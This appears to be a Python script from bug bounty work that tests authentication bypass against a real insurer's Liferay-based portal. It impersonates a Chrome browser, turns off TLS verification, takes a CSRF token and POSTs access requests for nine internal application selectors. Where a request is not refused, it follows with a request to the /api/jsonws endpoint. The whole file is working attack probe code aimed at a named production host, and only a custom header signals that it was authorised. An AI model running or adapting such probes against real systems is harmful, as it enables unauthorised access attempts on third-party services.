from curl_cffi import requests
import json,urllib.parse
base='https://infoportal.baloise.de'
selectors=['portal_ao','portal_mo','portal_si','venta','sas_va','antragsfreigabe','bsi_crm','portal_zeus','portal_bvs']
out=[]
for sel in selectors:
 s=requests.Session(impersonate='chrome')
 u=base+'/auth/ui/app/auth/application/access?Location='+urllib.parse.quote(base+'/group/ao',safe='')
 r=s.get(u,headers={'X-Bug-Bounty':'dwbzn'},verify=False,timeout=20,allow_redirects=False)
 csrf=s.cookies.get('CSRFT759-S')
 h={'X-Bug-Bounty':'dwbzn','Accept':'application/vnd.api+json','X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/json'}
 r=s.post(f'{base}/auth/rest/public/authentication/applications/{sel}/access',headers=h,data='null',verify=False,timeout=20,allow_redirects=False)
 try:b=r.json()
 except:b=r.text[:500]
 x={'selector':sel,'status':r.status_code,'exchange':getattr(r,'toadex_exchange_id',None),'location':r.headers.get('Location'),'body':b}
 out.append(x); print(json.dumps(x,ensure_ascii=False),flush=True)
 # if anything looks completed/successful, harmlessly check the portal route in the same session
 if r.status_code not in (400,401,403,404,500):
  q=s.get(base+'/api/jsonws',headers={'X-Bug-Bounty':'dwbzn'},verify=False,timeout=20,allow_redirects=False)
  y={'selector':sel,'check_status':q.status_code,'check_location':q.headers.get('Location'),'exchange':getattr(q,'toadex_exchange_id',None),'preview':q.text[:300]}
  out.append(y); print(json.dumps(y,ensure_ascii=False),flush=True)
open('work/scratch/liferay-critical/selector-access-matrix.json','w').write(json.dumps(out,ensure_ascii=False,indent=2))
